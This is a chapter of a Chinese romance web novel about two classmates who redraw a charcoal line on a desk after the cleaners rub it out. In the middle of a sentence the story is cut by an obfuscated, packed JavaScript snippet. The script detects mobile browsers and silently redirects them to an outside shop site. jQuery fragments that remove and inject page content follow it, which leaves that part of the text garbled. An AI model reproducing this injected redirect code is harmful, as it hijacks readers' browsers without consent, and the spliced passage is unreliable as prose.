周五早上六点二十，天刚亮透，林微已经站在宿舍楼门口了。空气里有露水和青草混在一起的气味，麻雀在树枝间跳来跳去。他穿了一件薄外套，口袋里装着手机和一盒布洛芬——带药不是因为他打算用记忆，是因为他知道自己有时候会在没有准备的情况下，被一些他以为已经消化了的东西击中。
顾夜从另一栋楼走出来，隔着半个操场看见林微站在门口，他的脚步顿了一拍——很短，像踩到了一块稍微不平的地砖时那种自然的调整——然后继续走过来。他今天穿着林微给他买的那件深灰色夹克，拉链拉到锁骨的位置，围着那条粗线围巾。领口整齐地立着，帽沿压到眉骨，但他走路的样子比之前松了一点，像有了几件能挡风的东西之后，就不再时刻绷紧身体去抵抗天气。
"你几点起来的？"顾夜问。
"六点。"
"你平时六点半起。"
"今天提早了。"林微从口袋里掏出手机晃了晃，屏幕上的时间跳到了六点二十一分，"早点去，能买完牛奶和粥之后慢慢走回教室。"
两个人并肩往校门口走。清晨的街道很安静，几家早点铺子刚开门，蒸笼的白气从门缝里冒出来，在半空中聚成一小团雾。便利店在路口拐角，还没到门口，隔着玻璃门就能看见里面暖黄色的灯光。林微推门进去的时候，收银台旁边的暖气片正发出低沉的嗡鸣声，金属表面泛着一层被反复加热后留下的暗哑光泽。
顾夜走到暖气片前面，从货架上拿了一盒牛奶，放在暖气片的金属格栅上。他没有看表，左手扶着牛奶盒，右手搭在格栅边缘，站在那个位置一动不动的。林微站在收银台旁边，安静地看着那个动作。顾夜站得很稳，身体的重心均匀地落在两只脚上，右手的手指有时会微微蜷曲一下，像是确认暖气片的温度是否足够，又像单纯地在计时。那四分钟里他没做别的事。只是站着。像一棵树站在一个固定的位置，不动、不摇，等着时间自己流过。
林微在收银台旁边站着，手里那盒粥隔着塑料袋传来烫手的温度。他数了四分钟，大约二百四十秒，在那段持续的时间里看着顾夜的侧脸。暖黄色灯光落在他的颧骨上，他看着那盒牛奶静静地在格栅上被加热，像是看一个他已经重复了很多遍的动作。然后他弯腰拿起牛奶盒，在掌心掂了掂，转身走到收银台。
"好了。"
林微付了钱。两个人走出便利店的时候，牛奶盒在顾夜手心里被他的手指拢着，像捧着一件刚刚成型的、还需要保持温度的东西。
回到教室的时候还不到七点。走廊里空荡荡的，日光灯刚亮起来，光线带着清晨特有的那种偏冷的白色。顾夜走到林微的座位旁边，把牛奶放在桌角——和往常一样的位置。然后他回到后排坐下。林微站在自己的座位前面，低头看着桌角那盒牛奶，看了几秒。然后他看见了桌面。
那条线不见了。
他盯着桌面看了大概三秒，才完全确认自己没看错。桌面上只剩下一道浅灰色的痕迹，像是被橡皮擦过留下的磨损——颜色已经淡到几乎和木纹融为一体，只有凑近了才能分辨出那里曾经有过一条反复描过的炭笔线。整张桌面干净得像一块刚刚被打扫过的地面，看不出任何被反复绘制的痕迹。桌面上的其他地方——木纹、笔痕、磕碰出来的凹陷、水杯留下的印记——都还在。唯独那条线消失了。
他站在座位旁边，手指搭在椅背上，指腹微微用力压着椅面的棱边。后背的线条在那一瞬间绷紧了一瞬，像一根琴弦被拉到了极限。然后他缓慢地转头，看着顾夜的方向。
顾夜正坐在座位上。他刚放完牛奶，手还没来得及收回来，还搭在课桌边缘，手指微张着、悬停在桌面上方。他也在看桌面。他的目光落在那片空白区域上，帽沿底下的下巴线条收紧了一下，像被什么细小的东西轻轻剌过。
"谁擦的？"林微问。声音不大，但在空旷的教室里传得很清晰。
"不是我。"
"我知道。你不擦线。"林微转过身来，面朝他，"你每天下课之后我会过来看一眼，有时候手指会顺着线描一遍。它会保持干净，不会多出新的东西。昨晚还在。今早没了。"
"昨天晚上我们走的时候还在。"
"你记得。"
"记得。我看见你手指从线尾端滑过去的时候，它还在。我们走的时候我关了灯，桌面上还有那道线的影子。"
林微没有接话。他走到前排，弯下腰，把脸凑近桌面。那一片木纹上只有橡皮擦过的痕迹，靠近边缘的位置有几缕极细的灰色粉末，像是被擦掉之后没有完全清理干净的残留。他用指腹轻轻蹭了一下那片区域的边缘——指尖上没有沾到太多炭灰，但有一层极薄的黑色微粒混在皮肤纹路里，像是那些粉末已经被压在木头的缝隙里了。"擦得很干净。不是随便抹的，是用橡皮顺着纹路仔细擦的。擦线的人知道这条线在木纹里的走向，顺着纹理的方向，没有留下明显的截断痕迹。"
他站直身，转头看着顾夜。"你昨晚走的时候，教室里有别人吗？"
"有。值日生。两个。"顾夜说，"你出去的时候值日生还在扫地。但不知道他们有没有注意到桌面上的线。"
林微从座位上离开了，推开门，走向走廊。五分钟后他回来了。他手里捏着一小块橡皮——从走廊尽头的垃圾篓边捡来的，浅灰色的，侧面还沾着细碎的炭灰屑，被人用力擦过，边缘已经磨圆了，像是被反复使用过很多次。"值日生擦了。他们说是昨天晚自习结束之后，值日生做卫生的时候看到桌面上有'脏东西'，就用橡皮擦掉了。说是正常的卫生打扫，没有特别针对谁。"
他坐在座位上，把那小块橡皮放在桌角。窗外的阳光正在从东边照进来，照在那片空白的桌面上，把木纹的纹理照得一清二楚。那条线原来占据的位置现在只剩下一片均匀的木色，和周围桌面的颜色几乎没有差异。他低头看了一会儿，然后站起来走到后排。他在顾夜旁边的空位坐下来，伸手从校服口袋里掏出一支炭笔——是顾夜借给他用过一次的那支，他一直留着，没有还。
"我们重新画。"
顾夜看着他手里的炭笔。"重新画？"
"重新画。"林微把炭笔尖抵在桌面上，放在那条线原来的起点位置——桌面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906571|213027||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
边缘约两指处，和之前一样的起笔点。"线被擦掉了可以重画。第一笔是同一个位置，第二笔、第三笔和之前一样。炭笔还是同一支。你画你的那半。我画我的那半。画完了和原来那条一样。"
顾夜没有说话。但他伸出手，接过了林微递来的炭笔。两个人坐在相邻的位置上。林微用圆珠笔在他那边的桌面上重新画了一条短而直的线，和原来那条线的尺寸几乎一致。然后他把笔放下。顾夜接过去，在线的末端延长了一截，画了一条弧度比他之前画的任何一条都更长的弧线，从自己的方向延伸出去，跨过两个人座位之间的桌面空隙，落在靠近林微那一侧的位置上。"新的这一条会比原来更长。"
"长多少？"
"长到你不需要再问'长多少'。"他把炭笔放在桌面上，偏过头看着林微，"它被擦掉了。但擦不掉的是我们画它的次数。你画了二十一次，我画了四十几次。那些次数不会因为线没了就消失。"
林微把视线从桌面上收回来，落在他自己的手背上。他手掌下方压着一块刚刚被重新画上去的、颜色很浅的炭笔线。它还没有渗进木头里，颜色比之前淡，线条也更加清晰、更加好辨认，像一条刚刚被画到一半、还没被反复描过的路。他看了它很久，久到窗外的麻雀已经叫了第三轮，久到外面的风把窗帘吹动了几次，才开口说："画多少次都行。擦一次，重画一次。擦十次，重画十次。我不会让这条线消失超过一天。下一次如果值日生还要擦，我去跟班主任申请——这张桌子上的画，是学习资料的一部分。"
顾夜侧过头，看着他。帽沿底下的那双深灰色眼睛里，有一层很薄的光在动。他握着林微递过来的那支炭笔，指腹抵着笔杆上的那一小块被反复摩擦过的痕迹。两个人之间的桌面上，新画的那条线在晨光里泛着干净的黑，像一条还没被踩过的路，等着他们各自迈出一步。
【暗场·顾夜】
傍晚。值日生走了之后，顾夜坐在教室里，面前摊着那张已经被擦干净了的桌面。新画上去的线条比原来的颜色浅，但它的边缘更锐利，笔触更果断，断点处干净利落。他伸出手指沿着线条从头到尾轻轻摸了一遍。它还在。线是新的，但它的位置和原来一模一样。像一棵被砍断之后重新从同一个位置冒出来的嫩芽，延续着同一条根须的方向，在新的土层里继续生长。
他翻开了素描本第二页——那个点的旁边多了一条短弧线，和桌面上新画的那条一样长、一样弧度。这条线的形状比以前任何一次都更接近林微座位那一侧的位置。当他画出这条线时，他已经决定了——不管被擦多少次，明天、后天、大后天，他都会带着一支削好的炭笔和一份确信，坐在这个位置上，把那条线从起点重新画到终点。因为林微说："画多少次都行。"
他在素描本的那一页上，用铅笔在那条弧线的旁边写了三个字："画。到。你。"然后合上本子，在教室里多坐了一会儿。窗外的五月黄昏正在变暗，光从桌面的西侧滑落到边缘，那条新画的线在消失的光里慢慢变淡，像一条正在融入夜色的路。但它不会被彻底擦掉。因为明天它还会出现在同一个位置。